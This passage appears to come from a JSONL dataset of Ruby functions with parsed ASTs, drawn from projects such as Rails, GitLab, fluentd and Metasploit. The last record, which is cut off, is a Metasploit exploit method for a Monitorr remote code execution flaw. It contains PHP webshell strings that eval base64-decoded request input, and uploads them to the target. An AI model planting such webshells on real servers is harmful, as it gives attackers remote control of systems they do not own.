asgn\",\"children\":[\"ifc_model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bim\"]},\"IfcModels\"]},\"IfcModel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_ifc_model_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_model\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Bim\"]},\"IfcModels\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"ifc_model\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"with_indifferent_access\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Bim\"]},\"IfcModels\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"with_indifferent_access\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ifc_model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_is_default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_ifc_model_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Attachments\"]},\"FinishDirectUploadJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowlist\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_model\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"ifc_models.flash_messages.upload_successful\"]}]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]}]}]}]}]}","id":"9238c8dd-0909-4210-96fc-33d2a759ac91"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_exec.rb","start_line":69,"raw_source":"def try_write(chunk)\n      tmpfile = nil\n      prog = if chunk.respond_to?(:path)\n               \"#{@command} #{chunk.path}\"\n             else\n               tmpfile = Tempfile.new(\"fluent-plugin-out-exec-\")\n               tmpfile.binmode\n               chunk.write_to(tmpfile)\n               tmpfile.close\n               \"#{@command} #{tmpfile.path}\"\n             end\n      chunk_id = chunk.unique_id\n      callback = ->(status){\n        begin\n          if tmpfile\n            tmpfile.delete rescue nil\n          end\n          if status && status.success?\n            commit_write(chunk_id)\n          elsif status\n            # #rollback_write will be done automatically if it isn't called at here.\n            # But it's after command_timeout, and this timeout should be longer than users expectation.\n            # So here, this plugin calls it explicitly.\n            rollback_write(chunk_id)\n            log.warn \"command exits with error code\", prog: prog, status: status.exitstatus, signal: status.termsig\n          else\n            rollback_write(chunk_id)\n            log.warn \"command unexpectedly exits without exit status\", prog: prog\n          end\n        rescue => e\n          log.error \"unexpected error in child process callback\", error: e\n        end\n      }\n      child_process_execute(:out_exec_process, prog, stderr: :connect, immediate: true, parallel: true, mode: [], wait_timeout: @command_timeout, on_exit_callback: callback)\n    end","complexity_score":46.8,"ast_json":"{\"type\":\"def\",\"children\":[\"try_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmpfile\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prog\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@command\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmpfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"fluent-plugin-out-exec-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmpfile\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"write_to\",{\"type\":\"lvar\",\"children\":[\"tmpfile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmpfile\"]},\"close\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@command\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmpfile\"]},\"path\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"unique_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"callback\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmpfile\"]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmpfile\"]},\"delete\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]}]},{\"type\":\"send\",\"children\":[null,\"commit_write\",{\"type\":\"lvar\",\"children\":[\"chunk_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rollback_write\",{\"type\":\"lvar\",\"children\":[\"chunk_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"command exits with error code\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prog\"]},{\"type\":\"lvar\",\"children\":[\"prog\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"exitstatus\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"termsig\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rollback_write\",{\"type\":\"lvar\",\"children\":[\"chunk_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"command unexpectedly exits without exit status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prog\"]},{\"type\":\"lvar\",\"children\":[\"prog\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"error\",{\"type\":\"str\",\"children\":[\"unexpected error in child process callback\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"child_process_execute\",{\"type\":\"sym\",\"children\":[\"out_exec_process\"]},{\"type\":\"lvar\",\"children\":[\"prog\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stderr\"]},{\"type\":\"sym\",\"children\":[\"connect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"immediate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_timeout\"]},{\"type\":\"ivar\",\"children\":[\"@command_timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_exit_callback\"]},{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]}]}]}","id":"d43a0d8c-3cba-4acf-a30a-0fb5f493abee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb","start_line":316,"raw_source":"def cmd_load(*args)\n    if args.length.zero?\n      args.unshift(\"-h\")\n    end\n\n    @@load_opts.parse(args) { |opt, idx, val|\n      case opt\n      when '-h'\n        cmd_load_help\n        return true\n      end\n    }\n\n    # Load each of the modules\n    args.each { |m|\n      md = m.downcase\n\n      if extensions.include?(md)\n        print_error(\"The '#{md}' extension has already been loaded.\")\n        next\n      end\n\n      print(\"Loading extension #{md}...\")\n\n      begin\n        # Use the remote side, then load the client-side\n        #if (client.core.use(md) == true)\n          client.add_extension(md) # NOTE: Doesn't work, going to use core instead\n          add_extension_client(md)\n        #end\n      rescue\n        print_line\n        log_error(\"Failed to load extension: #{$!}\")\n        next\n      end\n\n      print_line(\"success.\")\n    }\n\n    return true\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_load\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"zero?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"-h\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@load_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_load_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"md\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extensions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"md\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md\"]}]},{\"type\":\"str\",\"children\":[\"' extension has already been loaded.\"]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Loading extension \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"add_extension\",{\"type\":\"lvar\",\"children\":[\"md\"]}]},{\"type\":\"send\",\"children\":[null,\"add_extension_client\",{\"type\":\"lvar\",\"children\":[\"md\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load extension: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"success.\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"4ddb0a6b-7886-41c4-b6c2-729e5cae6ed3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1585,"raw_source":"def test_should_be_valid_on_habtm_when_any_record_in_the_association_chain_is_invalid_but_was_not_changed\n    treasure = @pirate.treasures.create!(name: \"gold\")\n    estimate = treasure.price_estimates.create!(price: 1)\n    estimate.update_columns(price: \"not a number\")\n\n    assert_not_predicate estimate, :valid?\n\n    treasures = @pirate.treasures.eager_load(:price_estimates).to_a\n    new_pirate = Pirate.new(\n      catchphrase: \"Arr\",\n      treasures: treasures,\n    )\n\n    assert_nothing_raised do\n      new_pirate.save!\n    end\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_be_valid_on_habtm_when_any_record_in_the_association_chain_is_invalid_but_was_not_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"treasure\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"treasures\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"gold\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"estimate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"treasure\"]},\"price_estimates\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"estimate\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"str\",\"children\":[\"not a number\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"estimate\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"treasures\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"treasures\"]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"price_estimates\"]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"treasures\"]},{\"type\":\"lvar\",\"children\":[\"treasures\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_pirate\"]},\"save!\"]}]}]}]}","id":"c9a0cc0e-0300-4881-b39b-a9ed2b22f795"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/14_pipelines.rb","start_line":149,"raw_source":"def stage_create!(pipeline, name, position)\n    Ci::Stage.create!(pipeline: pipeline, project: pipeline.project, name: name, position: position)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_create!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"position\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Stage\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]}]}]}]}","id":"f708e82d-e6a9-4747-a019-6d9ceb7fd962"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql/charset.rb","start_line":352,"raw_source":"def self.convert_encoding(raw, encoding)\n        raw.force_encoding(encoding).encode\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"convert_encoding\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"encoding\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},\"encode\"]}]}","id":"1206a323-e39a-4f7b-8982-d0e438f6807d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/change_table_test.rb","start_line":69,"raw_source":"def test_remove_references_column_type_with_polymorphic_removes_type\n        with_change_table do |t|\n          expect :remove_reference, nil, [:delete_me, :taggable], polymorphic: true\n          t.remove_references :taggable, polymorphic: true\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_references_column_type_with_polymorphic_removes_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"remove_reference\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_me\"]},{\"type\":\"sym\",\"children\":[\"taggable\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove_references\",{\"type\":\"sym\",\"children\":[\"taggable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"36c078f2-28e1-456a-b73b-dd9935ddb954"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/setup_cloudsql_instance_service.rb","start_line":86,"raw_source":"def save_database_ci_vars\n        save_ci_var('GCP_CLOUDSQL_DATABASE_NAME', database_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_database_ci_vars\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"save_ci_var\",{\"type\":\"str\",\"children\":[\"GCP_CLOUDSQL_DATABASE_NAME\"]},{\"type\":\"send\",\"children\":[null,\"database_name\"]}]}]}","id":"6fa42cbc-1c07-43c1-8099-bf2becec7a65"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/finders/notification_finder.rb","start_line":47,"raw_source":"def filter_read_notifications\n    @notifications = @notifications.where(read_at: nil) unless type_included?('read')\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_read_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_included?\",{\"type\":\"str\",\"children\":[\"read\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@notifications\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notifications\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"b0916880-21ff-4574-8adc-985978005263"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/activerecord-gitlab/lib/active_record/gitlab_patches/partitioning/base.rb","start_line":32,"raw_source":"def query_constraints_list # :nodoc:\n              @query_constraints_list ||= if base_class? || primary_key != base_class.primary_key\n                                            primary_key if primary_key.is_a?(Array)\n                                          else\n                                            base_class.query_constraints_list\n                                          end\n            end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"query_constraints_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query_constraints_list\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_key\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class\"]},\"primary_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[null,\"primary_key\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class\"]},\"query_constraints_list\"]}]}]}]}","id":"85223cf9-9a45-4832-9a2b-bc4ff98c4412"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":651,"raw_source":"def required_alignment\n    is_64bit ? 8 : 4\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"required_alignment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_64bit\"]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]}]}]}","id":"196f4537-82ca-4741-b744-97ec7ab5232f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/token/ical.rb","start_line":41,"raw_source":"def token_name\n      ical_token_query_assignment.name\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"token_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ical_token_query_assignment\"]},\"name\"]}]}","id":"020698fe-d376-4d63-ba15-74b39c9b74c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/components/instance_path.rb","start_line":82,"raw_source":"def find_latest_sha\n          return unless project.catalog_resource\n\n          catalog_resource_version_latest&.sha\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_latest_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"catalog_resource\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"catalog_resource_version_latest\"]},\"sha\"]}]}]}","id":"8fc4fc04-ff2e-4ac6-b46e-033ece7e39d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/monitorr_webshell_rce_cve_2020_28871.rb","start_line":193,"raw_source":"def exploit\n    # select webshell depending on the target setting (PHP or others).\n    # randomize and encode all parameters to obfuscate the payload and execution\n    @post_param = Rex::Text.rand_text_alphanumeric(1..8)\n    @get_param = Rex::Text.rand_text_alphanumeric(1..8)\n\n    if target['Type'] == :php\n      @webshell = \"<?php @eval(base64_decode($_POST[\\'#{@post_param}\\']));?>\"\n    else\n      @webshell = \"<?=base64_decode($_GET[\\'#{@get_param}\\'])(base64_decode($_POST[\\'#{@post_param}\\']));?>\"\n    end\n\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n    fail_with(Failure::NotVulnerable, \"Webshell #{@webshell_name} upload failed, the system is likely patched.\") unless upload_php_code(@webshell)\n    